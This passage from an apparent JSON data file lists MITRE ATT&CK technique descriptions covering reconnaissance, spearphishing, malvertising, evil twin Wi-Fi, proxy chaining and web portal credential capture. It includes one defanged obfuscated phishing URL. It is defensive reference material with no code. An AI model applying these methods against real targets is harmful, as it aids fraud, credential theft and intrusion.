access (ex: Phishing or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1592", + "text": "ATT&CK technique: T1592 Gather Victim Host Information\nDescription: Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services). Adversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary’s follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1036.012", + "text": "ATT&CK technique: T1036.012 Browser Fingerprint\nDescription: Adversaries may attempt to blend in with legitimate traffic by spoofing browser and system attributes like operating system, system language, platform, user-agent string, resolution, time zone, etc. The HTTP User-Agent request header is a string that lets servers and network peers identify the application, operating system, vendor, and/or version of the requesting user agent. Adversaries may gather this information through System Information Discovery or by users navigating to adversary-controlled websites, and then use that information to craft their web traffic to evade defenses.\nTactics: stealth\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1591.003", + "text": "ATT&CK technique: T1591.003 Identify Business Tempo\nDescription: Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim’s hardware and software resources. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Supply Chain Compromise or Trusted Relationship)\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1591.002", + "text": "ATT&CK technique: T1591.002 Business Relationships\nDescription: Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Supply Chain Compromise, Drive-by Compromise, or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596.002", + "text": "ATT&CK technique: T1596.002 WHOIS\nDescription: Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers. Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1608.004", + "text": "ATT&CK technique: T1608.004 Drive-by Target\nDescription: Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in Drive-by Compromise. In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as Application Access Token. Prior to Drive-by Compromise, adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure). Adversaries may upload or inject malicious web content, such as JavaScript, into websites. This may be done in a number of ways, including: * Inserting malicious scripts into web pages or other user controllable web content such as forum posts * Modifying script files served to websites from publicly writeable cloud storage buckets * Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., Malvertising) In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in Gather Victim Host Information) to ensure it is vulnerable prior to attempting exploitation. Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Drive-by Compromise.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1566.002", + "text": "ATT&CK technique: T1566.002 Spearphishing Link\nDescription: Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\"). URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also utilize links to perform consent phishing/spearphishing campaigns to Steal Application Access Tokens that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provide permissions/access for malicious applications. These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. Similarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as “device code phishing,” an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1596.004", + "text": "ATT&CK technique: T1596.004 CDNs\nDescription: Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region. Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Drive-by Compromise).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1586", + "text": "ATT&CK technique: T1586 Compromise Accounts\nDescription: Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. Establish Accounts), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials. Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries may directly leverage compromised email accounts for Phishing for Information or Phishing.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1598.002", + "text": "ATT&CK technique: T1598.002 Spearphishing Attachment\nDescription: Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email. In some cases, they may rely upon the recipient populating information, then returning the file. The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. In other cases, adversaries may leverage techniques such as HTML Smuggling to harvest user credentials via fake login portals. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1583.008", + "text": "ATT&CK technique: T1583.008 Malvertising\nDescription: Adversaries may purchase online advertisements that can be abused to distribute malware to victims. Ads can be purchased to plant as well as favorably position artifacts in specific locations online, such as prominently placed within search engine results. These ads may make it more difficult for users to distinguish between actual search results and advertisements. Purchased ads may also target specific audiences using the advertising network’s capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites. Adversaries may purchase ads and other resources to help distribute artifacts containing malicious code to victims. Purchased ads may attempt to impersonate or spoof well-known brands. For example, these spoofed ads may trick victims into clicking the ad which could then send them to a malicious domain that may be a clone of official websites containing trojanized versions of the advertised software. Adversary’s efforts to create malicious domains and purchase advertisements may also be automated at scale to better resist cleanup efforts. Malvertising may be used to support Drive-by Target and Drive-by Compromise, potentially requiring limited interaction from the user if the ad contains code/exploits that infect the target system's web browser. Adversaries may also employ several techniques to evade detection by the advertising network. For example, adversaries may dynamically route ad clicks to send automated crawler/policy enforcer traffic to benign sites while validating potential targets then sending victims referred from real ad clicks to malicious pages. This infection vector may therefore remain hidden from the ad network as well as any visitor not reaching the malicious sites with a valid identifier from clicking on the advertisement. Other tricks, such as intentional typos to avoid brand reputation monitoring, may also be used to evade automated detection.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1591.001", + "text": "ATT&CK technique: T1591.001 Determine Physical Locations\nDescription: Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites or Social Media). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Phishing or Hardware Additions).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1597.002", + "text": "ATT&CK technique: T1597.002 Purchase Technical Data\nDescription: Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1682", + "text": "ATT&CK technique: T1682 Query Public AI Services\nDescription: Adversaries may query publicly accessible artificial intelligence (AI) services, such as large language models (LLMs), to support targeting and operations. In addition to searching websites or databases directly (i.e., Search Open Websites/Domains), adversaries may use AI services to synthesize, aggregate, and analyze publicly available information at scale. This may include identifying individuals or organizations to target, researching organizational structures and personnel, identifying technologies used by target organizations, researching business relationships to develop plausible pretexts for Social Engineering approaches, identifying contact information for use in Phishing or Phishing for Information, or gathering derogatory or sensitive information about individuals that may be used for extortion or coercion. Information gathered through AI services may be leveraged for other behaviors, such as establishing operational resources (i.e., Generate Content or Establish Accounts. For obtaining access to AI tools and services, see Artificial Intelligence.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1090.003", + "text": "ATT&CK technique: T1090.003 Multi-hop Proxy\nDescription: Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. For example, adversaries may construct or use onion routing networks – such as the publicly available Tor network – to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network. Adversaries may also use operational relay box (ORB) networks composed of virtual private servers (VPS), Internet of Things (IoT) devices, smart devices, and end-of-life routers to obfuscate their operations. In the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., Network Devices). By leveraging Patch System Image on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the Network Boundary Bridging method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s Wide-Area Network (WAN). Protocols such as ICMP may be used as a transport. Similarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1001.003", + "text": "ATT&CK technique: T1001.003 Protocol or Service Impersonation\nDescription: Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. Adversaries may also leverage legitimate protocols to impersonate expected web traffic or trusted services. For example, adversaries may manipulate HTTP headers, URI endpoints, SSL certificates, and transmitted data to disguise C2 communications or mimic legitimate services such as Gmail, Google Drive, and Yahoo Messenger.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1684.001", + "text": "ATT&CK technique: T1684.001 Impersonation\nDescription: Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via Phishing for Information, Phishing, or Internal Spearphishing) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary’s ultimate goals, possibly against multiple victims. In many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims -- deceiving them into sending money or divulging information that ultimately enables Financial Theft. Adversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary’s goal. Impersonation is typically preceded by reconnaissance techniques such as Gather Victim Identity Information and Gather Victim Org Information as well as acquiring infrastructure such as email domains (i.e. Domains) to substantiate their false identity. There is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may Compromise Accounts targeting one organization which can then be used to support impersonation against other entities.\nTactics: stealth\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1665", + "text": "ATT&CK technique: T1665 Hide Infrastructure\nDescription: Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished by identifying and filtering traffic from defensive tools, masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers, and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely. C2 networks may include the use of Proxy or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address. Adversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents. Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., Virtualization/Sandbox Evasion). Hiding C2 infrastructure may also be supported by Resource Development activities such as Acquire Infrastructure and Compromise Infrastructure. For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1596.005", + "text": "ATT&CK technique: T1596.005 Scan Databases\nDescription: Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners. Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Exploit Public-Facing Application).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1557.004", + "text": "ATT&CK technique: T1557.004 Evil Twin\nDescription: Adversaries may host seemingly genuine Wi-Fi access points to deceive users into connecting to malicious networks as a way of supporting follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or Input Capture. By using a Service Set Identifier (SSID) of a legitimate Wi-Fi network, fraudulent Wi-Fi access points may trick devices or users into connecting to malicious Wi-Fi networks. Adversaries may provide a stronger signal strength or block access to Wi-Fi access points to coerce or entice victim devices into connecting to malicious networks. A Wi-Fi Pineapple – a network security auditing and penetration testing tool – may be deployed in Evil Twin attacks for ease of use and broader range. Custom certificates may be used in an attempt to intercept HTTPS traffic. Similarly, adversaries may also listen for client devices sending probe requests for known or previously connected networks (Preferred Network Lists or PNLs). When a malicious access point receives a probe request, adversaries can respond with the same SSID to imitate the trusted, known network. Victim devices are led to believe the responding access point is from their PNL and initiate a connection to the fraudulent network. Upon logging into the malicious Wi-Fi access point, a user may be directed to a fake login page or captive portal webpage to capture the victim’s credentials. Once a user is logged into the fraudulent Wi-Fi network, the adversary may able to monitor network activity, manipulate data, or steal additional credentials. Locations with high concentrations of public Wi-Fi access, such as airports, coffee shops, or libraries, may be targets for adversaries to set up illegitimate Wi-Fi access points.\nTactics: collection, credential access\nPlatforms: Network Devices" + }, + { + "id": "T1598.004", + "text": "ATT&CK technique: T1598.004 Spearphishing Voice\nDescription: Adversaries may use voice communications to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Impersonation) and/or creating a sense of urgency or alarm for the recipient. All forms of phishing are electronically delivered social engineering. In this scenario, adversaries use phone calls to elicit sensitive information from victims. Known as voice phishing (or \"vishing\"), these communications can be manually executed by adversaries, hired call centers, or even automated via robocalls. Voice phishers may spoof their phone number while also posing as a trusted entity, such as a business partner or technical support staff. Victims may also receive phishing messages that direct them to call a phone number (\"callback phishing\") where the adversary attempts to collect confidential information. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to tailor pretexts to be even more persuasive and believable for the victim.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1566.004", + "text": "ATT&CK technique: T1566.004 Spearphishing Voice\nDescription: Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: Impersonation) and/or creating a sense of urgency or alarm for the recipient. All forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on User Execution for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools (Remote Access Tools) onto their computer. Adversaries may also combine voice phishing with Multi-Factor Authentication Request Generation in order to trick users into divulging MFA credentials or accepting authentication prompts.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Windows, macOS" + }, + { + "id": "T1683.001", + "text": "ATT&CK technique: T1683.001 Written Content\nDescription: Adversaries may create or tailor written materials to support targeting and malicious operations. Content may include phishing lures, fraudulent financial communications, fabricated job postings, fabricated employment credentials and documentation, decoy documents, social media persona content, and supporting narratives used to sustain fabricated personas over time. Content may be authored manually, commissioned through third parties, or produced using AI-assisted tools. Written materials may impersonate legitimate government correspondence, diplomatic communications, or internal organizational documents to support targeting efforts. AI-assisted tools may also be used to tailor content to specific targets, industries, or regions. For example, adversaries may leverage AI to translate content into a target's native language or mimic the communication style of trusted senders. Written content produced through these methods may be used in support of other techniques, such as Phishing, Spearphishing via Service, Phishing for Information, Internal Spearphishing, Social Engineering, Financial Theft, or Establish Accounts. Written content does not include malicious code or scripts; for development of malicious code and scripts, see Develop Capabilities.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1598.001", + "text": "ATT&CK technique: T1598.001 Spearphishing Service\nDescription: Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: Social Media or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1566.003", + "text": "ATT&CK technique: T1566.003 Spearphishing via Service\nDescription: Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services. A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.\nTactics: initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1590.004", + "text": "ATT&CK technique: T1590.004 Network Topology\nDescription: Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1534", + "text": "ATT&CK technique: T1534 Internal Spearphishing\nDescription: After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional information or compromise other users within the same organization. Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating Impersonation. For example, adversaries may leverage Spearphishing Attachment or Spearphishing Link as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through Input Capture on sites that mimic login interfaces. Adversaries may also leverage internal chat apps, such as Microsoft Teams, to spread malicious content or engage users in attempts to capture sensitive information and/or credentials.\nTactics: lateral movement\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1584", + "text": "ATT&CK technique: T1584 Compromise Infrastructure\nDescription: Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, network devices, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle. Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. Use of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with Digital Certificates) to further blend in and support staged information gathering and/or Phishing campaigns. Adversaries may also compromise numerous machines to support Proxy and/or proxyware services or to form a botnet. Additionally, adversaries may compromise infrastructure residing in close proximity to a target in order to gain Initial Access via Wi-Fi Networks. By using compromised infrastructure, adversaries may enable follow-on malicious operations. Prior to targeting, adversaries may also compromise the infrastructure of other adversaries.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1681", + "text": "ATT&CK technique: T1681 Search Threat Vendor Data\nDescription: Threat actors may seek information/indicators from closed or open threat intelligence sources gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. These reports may include descriptions of behavior, detailed breakdowns of attacks, atomic indicators such as malware hashes or IP addresses, timelines of a group’s activity, and more. Adversaries may change their behavior when planning their future operations. Adversaries have been observed replacing atomic indicators mentioned in blog posts in under a week. Adversaries have also been seen searching for their own domain names in threat vendor data and then taking them down, likely to avoid seizure or further investigation. This technique is distinct from Threat Intel Vendors in that it describes threat actors performing reconnaissance on their own activity, not in search of victim information.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596", + "text": "ATT&CK technique: T1596 Search Open Technical Databases\nDescription: Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans. Adversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1056.003", + "text": "ATT&CK technique: T1056.003 Web Portal Capture\nDescription: Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1584.006", + "text": "ATT&CK technique: T1584.006 Web Services\nDescription: Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1589.003", + "text": "ATT&CK technique: T1589.003 Employee Names\nDescription: Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures. Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1586.002", + "text": "ATT&CK technique: T1586.002 Email Accounts\nDescription: Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct Phishing for Information, Phishing, or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: Domains). A variety of methods exist for compromising email accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials 